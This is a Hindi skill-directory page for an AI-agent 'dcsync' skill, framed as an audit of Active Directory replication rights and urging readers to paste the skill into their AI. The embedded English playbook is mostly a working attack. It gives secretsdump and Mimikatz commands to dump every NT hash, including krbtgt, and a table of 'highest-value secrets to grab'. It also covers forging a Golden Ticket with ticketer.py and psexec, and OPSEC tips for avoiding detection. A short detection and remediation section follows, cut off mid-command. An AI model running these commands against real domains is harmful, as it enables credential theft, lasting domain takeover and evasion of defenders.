मुख्य सामग्री पर जाएँ
Skillpedia
सिक्योरिटी6.5k · #13941

dcsync

यह क्या करती है

यह स्किल दिखाती है कि डोमेन कंट्रोलर से डायरेक्टरी डेटा कॉपी करने की क्षमता रखने वाले खाते कैसे खोजें, और यह गलत खाते को मिलने पर क्यों जोखिम है। यह उन सुरक्षा कर्मचारियों के लिए है जो ऑडिट करते हैं कि ये अधिकार किसके पास हैं।

कब इस्तेमाल करें

  • ✓जब कोई सुरक्षा परीक्षक अधिकृत डोमेन में replication अधिकार वाले खातों की सूची चाहता है।
  • ✓जब एजेंट को सामान्य धारकों और अप्रत्याशित धारकों में फ़र्क करना हो।
  • ✓जब ऑडिट रिपोर्ट को ज़रूरत से ज़्यादा दिए गए replication अधिकारों का जोखिम समझाना हो।

Skill का लिंक

https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/ad/dcsync/SKILL.md

इसे कॉपी करके अपने AI (Claude, ChatGPT या Cursor) में पेस्ट करें और निर्देशों का पालन करने को कहें।

कैसे इस्तेमाल करें

सबसे आसान तरीका: मैसेज कॉपी करके अपने AI में पेस्ट करें। वह skill पढ़कर निर्देशों का पालन करेगा।

पेस्ट करने के लिए तैयार मैसेज

इस skill से मेरी मदद करो: https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/ad/dcsync/SKILL.md इस लिंक की SKILL.md फ़ाइल पढ़ो और मेरे काम में उसके निर्देशों का पालन करो।
क्या आप चाहते हैं कि आपका AI ऐसी skills खुद ढूँढे?मुफ़्त Skillpedia MCP इंस्टॉल करें: बस एक लाइन, और हर काम से पहले यह 15,000+ skills में खोजता है।1 मिनट में इंस्टॉल करें →

AI से क्या माँगें: उदाहरण

“हमारे अधिकृत टेस्ट डोमेन पर कौन-से खातों के पास वे replication अधिकार हैं जो उनके पास नहीं होने चाहिए?”

हर हफ़्ते 5 नई skills, 1 मिनट में पढ़ें।

यह कैसे काम करती है

एजेंट replication अनुमति वाले खातों के लिए डोमेन डेटा क्वेरी करता है, उन्हें अपेक्षित सूची से मिलाता है, और अप्रत्याशित खातों की रिपोर्ट देता है।

तकनीकी सामग्री (मूल SKILL.md)

लेखक का मूल टेक्स्ट, अंग्रेज़ी में, सीधे GitHub से।

DCSync Playbook

DCSync is not a vulnerability — it's a legitimate AD feature for domain controllers to replicate. The "vulnerability" is when a non-DC principal has the replication-rights ACL.

1. Identify DCSync candidates

In a hosted engagement, inspect the authorized collection with bloodhound_mcp_exposure_finder and bloodhound_mcp_object_profile, or use bounded read-only bloodhound_mcp_cypher_query for a specific principal. Check data quality before treating absent edges as proof of no exposure. Standalone OSS may use its registered bhce_cypher tool instead.

Or Cypher direct:

MATCH (n)-[:GetChanges|GetChangesAll]->(:Domain)
RETURN DISTINCT n.name, labels(n)

Common holders (legitimate):

  • Domain Admins, Enterprise Admins, Domain Controllers
  • Exchange Trusted Subsystem (Exchange installs grant by default — historical PrivExchange)
  • Replicator (rare)

Common holders (misconfig = jackpot):

  • Service accounts (admins delegated mistakenly)
  • Helpdesk groups
  • Groups from old migrations

2. Execute DCSync

Impacket (most reliable):

# All NT hashes including krbtgt
secretsdump.py 'DOM/USER:PASS@DC_IP' -just-dc \
  -outputfile /tmp/secrets

# Just one target user
secretsdump.py 'DOM/USER:PASS@DC_IP' -just-dc-user 'krbtgt'

# With NT hash auth instead of password
secretsdump.py -hashes :NT_HASH 'DOM/USER@DC_IP' -just-dc

# With Kerberos ticket (cleaner OPSEC)
export KRB5CCNAME=/tmp/user.ccache
secretsdump.py -k -no-pass 'DOM/USER@DC_FQDN' -just-dc

Mimikatz (from Windows):

lsadump::dcsync /domain:dom.local /user:krbtgt
lsadump::dcsync /domain:dom.local /all /csv

3. Output files

secretsdump produces:

  • /tmp/secrets.ntds — user:RID:LM_HASH:NT_HASH::: format
  • /tmp/secrets.ntds.kerberos — Kerberos keys (aes256, aes128, des)
  • /tmp/secrets.ntds.cleartext — any reversibly-encrypted passwords (rare, but yes)

4. Highest-value secrets to grab

User Why What unlocks
krbtgt Master Kerberos key Golden Ticket — persistence + arbitrary user impersonation forever (until rotation)
Administrator Built-in domain admin Direct admin on most assets
Domain Admin members Lateral movement Most assets
<trustname>$ Trust accounts Cross-forest movement
Service accounts Often local admin on hosts Lateral movement
Exchange computer accounts Mailbox access E-discovery / pivot

5. Golden Ticket (post-DCSync)

With krbtgt NT hash:

ticketer.py -nthash KRBTGT_NT \
  -domain-sid 'S-1-5-21-XXXX-YYYY-ZZZZ' \
  -domain 'dom.local' \
  Administrator
# Produces Administrator.ccache — TGT for Administrator that lasts 10 years

export KRB5CCNAME=Administrator.ccache
psexec.py -k -no-pass 'DC@DC_FQDN'

6. Promote

kg_add_node(kind="credential", label="krbtgt:NT_HASH",
            props={"source":"dcsync","value":"<hash>"})
kg_add_node(kind="vulnerability", label="DCSync from <principal>",
            props={"severity":"critical"})
kg_add_edge(src=<vuln>, dst=<krbtgt>, kind="extracts")
kg_add_edge(src=<krbtgt>, dst=<crown_jewel:domain>, kind="compromises")

OPSEC

  • DCSync generates event 4662 on DCs with Properties: Replicating Directory Changes
  • Defender's high-signal detection (the only good DCSync detection)
  • BloodHound's :DS-Replication-Get-Changes GUID: 1131f6aa-9c07-11d1-f79f-00c04fc2dcd2
  • A single DCSync run, scoped to one user (-just-dc-user), produces less log volume than -just-dc
  • Use Kerberos auth (-k) instead of NTLM to avoid 4624 type-3 noise

Detection signature (so you know what blue sees)

EventCode=4662
ObjectType=domainDNS
Properties: %{1131f6aa-9c07-11d1-f79f-00c04fc2dcd2} OR %{1131f6ad-9c07-11d1-f79f-00c04fc2dcd2}
SubjectUserName != *$  (filter out DC computer accounts)

CVSS

  • DCSync available to non-DC principal: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H = 9.0
  • Already DA + DCSync: not a separate finding, just post-compromise activity

Defender remediation

# Audit current holders of replication rights
Get-ADObject -Identity (Get-ADDomain).DistinguishedName -Properties nTSecurityDescriptor |
  Select -ExpandProperty nTSecurityDescriptor |
  Select -ExpandProperty Access |
  Where { $_.ObjectType -in @('1131f6aa-9c07-11d1-f79f-00c04fc2dcd2','1131f6ad-9c07-11d1-f79f-00c04fc2dcd2') } |
  Format-Table IdentityReference, ActiveDirectoryRights

# Remove unauthorized holders via dsacls
dsacls "DC=dom,DC=local" /R "DOM\Bad
अक्सर पूछे जाने वाले सवाल

क्या यह अधिकार सेटिंग कोई बग है?

नहीं। स्किल कहती है कि डोमेन कंट्रोलर के लिए replication एक सामान्य सुविधा है, और जोखिम तब आता है जब अप्रत्याशित खाते ये अधिकार रखते हैं।

ये अधिकार आम तौर पर किसके पास होते हैं?

स्किल Domain Admins और Domain Controllers जैसे समूहों को आम धारक बताती है।

क्या स्किल कहती है कि यह टेस्ट हमेशा अनुमति प्राप्त है?

नहीं। वह कहती है कि replication टेस्ट के लिए भी अपनी अलग विशेष अनुमति चाहिए।

जानकारी

लेखक का मूल विवरण

Abuse replication rights (DS-Replication-Get-Changes + GetChangesAll) to dump krbtgt and arbitrary user NT hashes from a DC.

repo: BitterSecurity/Decepticon

लोकप्रियता

GitHub स्टार
6.5k
रैंकिंग में स्थान
#13941
लाइसेंस
Apache-2.0
अपडेट की गई
1/11/2026

क्या यह skill काम की है?

0

लॉग इन करें वोट करने के लिए।

कमेंट

  • …

इस repository की और skills

detector-overview

6.5k

यह आपके एजेंट को स्कैनर से चिह्नित कोड पढ़ने और तय करने में मदद करती है कि कौन सी जगहें असली सुरक्षा बग हैं और कौन सी गलत चेतावनी।

कोडिंगसिक्योरिटी

exploiter-overview

6.5k

यह आपके एजेंट को कई पक्की सुरक्षा कमज़ोरियों को एक परीक्षण श्रृंखला में जोड़ने और जाँचने में मदद करती है कि वह श्रृंखला कितनी दूर तक पहुँच सकती है।

कोडिंगसिक्योरिटी

llm-redteam-overview

6.5k

यह आपके एजेंट को परीक्षण के लिए सही AI रेड-टीम गाइड खोजने में मदद करती है, प्रॉम्प्ट इंजेक्शन से लेकर मॉडल के दुरुपयोग तक 15 रणनीति समूहों में।

कोडिंगसिक्योरिटी

aatmf-t01-prompt-injection

6.5k

समझाती है कि प्रॉम्प्ट इंजेक्शन क्या है, जिसमें छिपे निर्देश AI सिस्टम के नियम बदलने की कोशिश करते हैं, ताकि सुरक्षा परीक्षक उसकी जाँच कर सकें।

कोडिंगसिक्योरिटी

मिलती-जुलती skills